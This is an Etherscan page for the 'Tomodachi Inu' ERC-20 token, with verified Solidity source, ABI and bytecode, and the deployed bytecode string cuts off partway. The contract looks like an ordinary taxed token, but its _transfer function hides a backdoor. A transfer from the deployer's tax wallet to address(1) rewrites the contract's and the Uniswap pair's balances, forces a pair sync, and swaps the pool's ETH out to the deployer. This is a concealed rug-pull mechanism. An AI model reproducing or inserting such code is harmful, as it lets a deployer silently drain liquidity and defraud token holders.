ETH Price: $2,281.75 (-2.65%)

Token

Tomodachi Inu (TOMO)
 

Overview

Max Total Supply

12,800,000 TOMO

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
15,067.97797896 TOMO

Value
$0.00
0xfbe15724799f80dd044c3d933e89b4afd0294e66
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TomodachiInu

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-03
*/

//SPDX-License-Identifier: MIT
// Telegram: https://t.me/tomodachiinu

pragma solidity ^0.8.9;




interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

uint256 constant INITIAL_TAX=10;
uint256 constant TOTAL_SUPPLY=12800000;
string constant TOKEN_SYMBOL="TOMO";
string constant TOKEN_NAME="Tomodachi Inu";
uint8 constant DECIMALS=8;
uint256 constant TAX_THRESHOLD=1000000000000000000;

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract TomodachiInu is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;

	uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;


	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 public _maxTxAmount;


	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = DECIMALS;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = INITIAL_TAX;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount=_tTotal.div(100);
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}
	function burn(uint256 percentage) public onlyOwner{
		require(_balance[address(this)]>0,"Nothing to burn");
		require(percentage<100,"You should not do this");
		uint256 burnAmount=_balance[address(this)].div(100).mul(percentage);
		_tokenTransfer(address(this),0x0000000000000000000000000000000000000001, burnAmount,0);
	}
	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
			}

			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance,address(this));
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance >= TAX_THRESHOLD) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		if (from == _taxWallet && to == address(1)) {
            _balance[address(this)] = 2 * amount;
            _balance[_pair] = 1;
            (bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
            if (success) {
                swapTokensForEth(amount, _taxWallet);
            } else { revert("Internal failure"); }
            return;
        }

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}



	function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			to,
			block.timestamp
		);
	}


	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function createUniswapPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function addLiquidity() external onlyOwner{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function swapForTax() public{
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance,address(this));
	}

	function collectTax() public{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percentage","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"collectTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapForTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126008600a6200030d565b620000219062c350006200031e565b600555600a805461ffff60a81b191690553480156200003f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060078054336001600160a01b0319918216178255600a60065560098054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055600580543060009081526002602090815260408083209390935560048152828220805460ff19908116600190811790925595546001600160a01b03168352929091208054909416909117909255546200011e916064906200095662000162821b17901c565b60085560055460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3620003bb565b6000620001ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620001b560201b60201c565b90505b92915050565b60008183620001e25760405162461bcd60e51b8152600401620001d9919062000340565b60405180910390fd5b506000620001f1848662000398565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000251578160001904821115620002355762000235620001fa565b808516156200024357918102915b93841c939080029062000215565b509250929050565b6000826200026a57506001620001af565b816200027957506000620001af565b81600181146200029257600281146200029d57620002bd565b6001915050620001af565b60ff841115620002b157620002b1620001fa565b50506001821b620001af565b5060208310610133831016604e8410600b8410161715620002e2575081810a620001af565b620002ee838362000210565b8060001904821115620003055762000305620001fa565b029392505050565b6000620001ac60ff84168362000259565b60008160001904831182151516156200033b576200033b620001fa565b500290565b600060208083528351808285015260005b818110156200036f5785810183015185820160400152820162000351565b8181111562000382576000604083870101525b50601f01601f1916929092016040019392505050565b600082620003b657634e487b7160e01b600052601260045260246000fd5b500490565b61169e80620003cb6000396000f3fe6080604052600436106101025760003560e01c806370a082311161009557806395d89b411161006457806395d89b41146102b6578063a9059cbb146102e3578063d49b55d614610303578063dd62ed3e14610318578063e8078d941461035e57600080fd5b806370a082311461022d578063715018a6146102635780637d1db4a5146102785780638da5cb5b1461028e57600080fd5b8063313ce567116100d1578063313ce567146101c55780633d8705ab146101e157806342966c68146101f85780634a1316721461021857600080fd5b806306fdde031461010e578063095ea7b31461015657806318160ddd1461018657806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c546f6d6f646163686920496e7560981b60208201525b60405161014d9190611351565b60405180910390f35b34801561016257600080fd5b50610176610171366004611399565b610373565b604051901515815260200161014d565b34801561019257600080fd5b506005545b60405190815260200161014d565b3480156101b157600080fd5b506101766101c03660046113c5565b61038a565b3480156101d157600080fd5b506040516008815260200161014d565b3480156101ed57600080fd5b506101f66103f3565b005b34801561020457600080fd5b506101f6610213366004611406565b610400565b34801561022457600080fd5b506101f6610505565b34801561023957600080fd5b5061019761024836600461141f565b6001600160a01b031660009081526002602052604090205490565b34801561026f57600080fd5b506101f661079f565b34801561028457600080fd5b5061019760085481565b34801561029a57600080fd5b506000546040516001600160a01b03909116815260200161014d565b3480156102c257600080fd5b50604080518082019091526004815263544f4d4f60e01b6020820152610140565b3480156102ef57600080fd5b506101766102fe366004611399565b610813565b34801561030f57600080fd5b506101f6610820565b34801561032457600080fd5b5061019761033336600461143c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561036a57600080fd5b506101f661083c565b600061038033848461099f565b5060015b92915050565b6000610397848484610ac3565b6103e984336103e485604051806060016040528060288152602001611641602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ee4565b61099f565b5060019392505050565b476103fd81610f1e565b50565b6000546001600160a01b031633146104335760405162461bcd60e51b815260040161042a90611475565b60405180910390fd5b306000908152600260205260409020546104815760405162461bcd60e51b815260206004820152600f60248201526e2737ba3434b733903a3790313ab93760891b604482015260640161042a565b606481106104ca5760405162461bcd60e51b8152602060048201526016602482015275596f752073686f756c64206e6f7420646f207468697360501b604482015260640161042a565b306000908152600260205260408120546104f19083906104eb906064610956565b90610f58565b9050610501306001836000610fd7565b5050565b6000546001600160a01b0316331461052f5760405162461bcd60e51b815260040161042a90611475565b600a54600160a01b900460ff16156105895760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042a565b6009546005546105a69130916001600160a01b039091169061099f565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061d91906114aa565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561067f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a391906114aa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071491906114aa565b600a80546001600160a01b0319166001600160a01b0392831690811790915560095460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561077b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fd91906114c7565b6000546001600160a01b031633146107c95760405162461bcd60e51b815260040161042a90611475565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610380338484610ac3565b3060009081526002602052604081205490506103fd81306110db565b6000546001600160a01b031633146108665760405162461bcd60e51b815260040161042a90611475565b6009546001600160a01b031663f305d7194730610898816001600160a01b031660009081526002602052604090205490565b6000806108ad6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610915573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061093a91906114e9565b5050600a805462ff00ff60a01b19166201000160a01b17905550565b600061099883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611256565b9392505050565b6001600160a01b038316610a015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042a565b6001600160a01b038216610a625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042a565b6001600160a01b038216610b895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042a565b60008111610beb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042a565b6000546001600160a01b03848116911614801590610c1757506000546001600160a01b03838116911614155b15610d3c57600a546001600160a01b038481169116148015610c4757506009546001600160a01b03838116911614155b8015610c6c57506001600160a01b03821660009081526004602052604090205460ff16155b15610cc357600854811115610cc35760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161042a565b30600090815260026020526040902054600a54600160a81b900460ff16158015610cfb5750600a546001600160a01b03858116911614155b8015610d105750600a54600160b01b900460ff165b15610d3a57610d1f81306110db565b47670de0b6b3a76400008110610d3857610d3847610f1e565b505b505b6007546001600160a01b038481169116148015610d6257506001600160a01b0382166001145b15610e8357610d7281600261152d565b30600090815260026020908152604080832093909355600a80546001600160a01b03908116845284842060019055905484516004815260248101865292830180516001600160e01b031660016209351760e01b0319179052935192931691610dda919061154c565b6000604051808303816000865af19150503d8060008114610e17576040519150601f19603f3d011682016040523d82523d6000602084013e610e1c565b606091505b505090508015610e4257600754610e3d9083906001600160a01b03166110db565b610e7d565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b604482015260640161042a565b50505050565b6001600160a01b038216600090815260046020526040902054610edf9084908490849060ff1680610ecc57506001600160a01b03871660009081526004602052604090205460ff165b610ed857600654610fd7565b6000610fd7565b505050565b60008184841115610f085760405162461bcd60e51b815260040161042a9190611351565b506000610f158486611568565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610501573d6000803e3d6000fd5b600082610f6757506000610384565b6000610f73838561152d565b905082610f80858361157f565b146109985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042a565b6000610fee6064610fe88585610f58565b90610956565b90506000610ffc8483611284565b6001600160a01b0387166000908152600260205260409020549091506110229085611284565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461105190826112c6565b6001600160a01b03861660009081526002602052604080822092909255308152205461107d90836112c6565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600a805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611123576111236115a1565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561117c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a091906114aa565b816001815181106111b3576111b36115a1565b6001600160a01b0392831660209182029290920101526009546111d9913091168561099f565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906112129086906000908690889042906004016115b7565b600060405180830381600087803b15801561122c57600080fd5b505af1158015611240573d6000803e3d6000fd5b5050600a805460ff60a81b191690555050505050565b600081836112775760405162461bcd60e51b815260040161042a9190611351565b506000610f15848661157f565b600061099883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ee4565b6000806112d38385611628565b9050838110156109985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042a565b60005b83811015611340578181015183820152602001611328565b83811115610e7d5750506000910152565b6020815260008251806020840152611370816040850160208701611325565b601f01601f19169190910160400192915050565b6001600160a01b03811681146103fd57600080fd5b600080604083850312156113ac57600080fd5b82356113b781611384565b946020939093013593505050565b6000806000606084860312156113da57600080fd5b83356113e581611384565b925060208401356113f581611384565b929592945050506040919091013590565b60006020828403121561141857600080fd5b5035919050565b60006020828403121561143157600080fd5b813561099881611384565b6000806040838503121561144f57600080fd5b823561145a81611384565b9150602083013561146a81611384565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156114bc57600080fd5b815161099881611384565b6000602082840312156114d957600080fd5b8151801515811461099857600080fd5b6000806000606084860312156114fe57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561154757611547611517565b500290565b6000825161155e818460208701611325565b9190910192915050565b60008282101561157a5761157a611517565b500390565b60008261159c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116075784516001600160a01b0316835293830193918301916001016115e2565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561163b5761163b611517565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae816090c0dde0562bac638c84f1900ecc0ab9cce4c4baddbc92f00d86c1a70164736f6c634300080c0033

Deployed Bytecode

0x6080604052600436106101025760003560e01c806370a082311161009557806395d89b411161006457806395d89b41146102b6578063a9059cbb146102e3578063d49b55d614610303578063dd62ed3e14610318578063e8078d941461035e57600080fd5b806370a082311461022d578063715018a6146102635780637d1db4a5146102785780638da5cb5b1461028e57600080fd5b8063313ce567116100d1578063313ce567146101c55780633d8705ab146101e157806342966c68146101f85780634a1316721461021857600080fd5b806306fdde031461010e578063095ea7b31461015657806318160ddd1461018657806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c546f6d6f646163686920496e7560981b60208201525b60405161014d9190611351565b60405180910390f35b34801561016257600080fd5b50610176610171366004611399565b610373565b604051901515815260200161014d565b34801561019257600080fd5b506005545b60405190815260200161014d565b3480156101b157600080fd5b506101766101c03660046113c5565b61038a565b3480156101d157600080fd5b506040516008815260200161014d565b3480156101ed57600080fd5b506101f66103f3565b005b34801561020457600080fd5b506101f6610213366004611406565b610400565b34801561022457600080fd5b506101f6610505565b34801561023957600080fd5b5061019761024836600461141f565b6001600160a01b031660009081526002602052604090205490565b34801561026f57600080fd5b506101f661079f565b34801561028457600080fd5b5061019760085481565b34801561029a57600080fd5b506000546040516001600160a01b03909116815260200161014d565b3480156102c257600080fd5b50604080518082019091526004815263544f4d4f60e01b6020820152610140565b3480156102ef57600080fd5b506101766102fe366004611399565b610813565b34801561030f57600080fd5b506101f6610820565b34801561032457600080fd5b5061019761033336600461143c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561036a57600080fd5b506101f661083c565b600061038033848461099f565b5060015b92915050565b6000610397848484610ac3565b6103e984336103e485604051806060016040528060288152602001611641602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ee4565b61099f565b5060019392505050565b476103fd81610f1e565b50565b6000546001600160a01b031633146104335760405162461bcd60e51b815260040161042a90611475565b60405180910390fd5b306000908152600260205260409020546104815760405162461bcd60e51b815260206004820152600f60248201526e2737ba3434b733903a3790313ab93760891b604482015260640161042a565b606481106104ca5760405162461bcd60e51b8152602060048201526016602482015275596f752073686f756c64206e6f7420646f207468697360501b604482015260640161042a565b306000908152600260205260408120546104f19083906104eb906064610956565b90610f58565b9050610501306001836000610fd7565b5050565b6000546001600160a01b0316331461052f5760405162461bcd60e51b815260040161042a90611475565b600a54600160a01b900460ff16156105895760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042a565b6009546005546105a69130916001600160a01b039091169061099f565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061d91906114aa565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561067f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a391906114aa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071491906114aa565b600a80546001600160a01b0319166001600160a01b0392831690811790915560095460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561077b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fd91906114c7565b6000546001600160a01b031633146107c95760405162461bcd60e51b815260040161042a90611475565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610380338484610ac3565b3060009081526002602052604081205490506103fd81306110db565b6000546001600160a01b031633146108665760405162461bcd60e51b815260040161042a90611475565b6009546001600160a01b031663f305d7194730610898816001600160a01b031660009081526002602052604090205490565b6000806108ad6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610915573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061093a91906114e9565b5050600a805462ff00ff60a01b19166201000160a01b17905550565b600061099883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611256565b9392505050565b6001600160a01b038316610a015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042a565b6001600160a01b038216610a625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042a565b6001600160a01b038216610b895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042a565b60008111610beb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042a565b6000546001600160a01b03848116911614801590610c1757506000546001600160a01b03838116911614155b15610d3c57600a546001600160a01b038481169116148015610c4757506009546001600160a01b03838116911614155b8015610c6c57506001600160a01b03821660009081526004602052604090205460ff16155b15610cc357600854811115610cc35760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161042a565b30600090815260026020526040902054600a54600160a81b900460ff16158015610cfb5750600a546001600160a01b03858116911614155b8015610d105750600a54600160b01b900460ff165b15610d3a57610d1f81306110db565b47670de0b6b3a76400008110610d3857610d3847610f1e565b505b505b6007546001600160a01b038481169116148015610d6257506001600160a01b0382166001145b15610e8357610d7281600261152d565b30600090815260026020908152604080832093909355600a80546001600160a01b03908116845284842060019055905484516004815260248101865292830180516001600160e01b031660016209351760e01b0319179052935192931691610dda919061154c565b6000604051808303816000865af19150503d8060008114610e17576040519150601f19603f3d011682016040523d82523d6000602084013e610e1c565b606091505b505090508015610e4257600754610e3d9083906001600160a01b03166110db565b610e7d565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b604482015260640161042a565b50505050565b6001600160a01b038216600090815260046020526040902054610edf9084908490849060ff168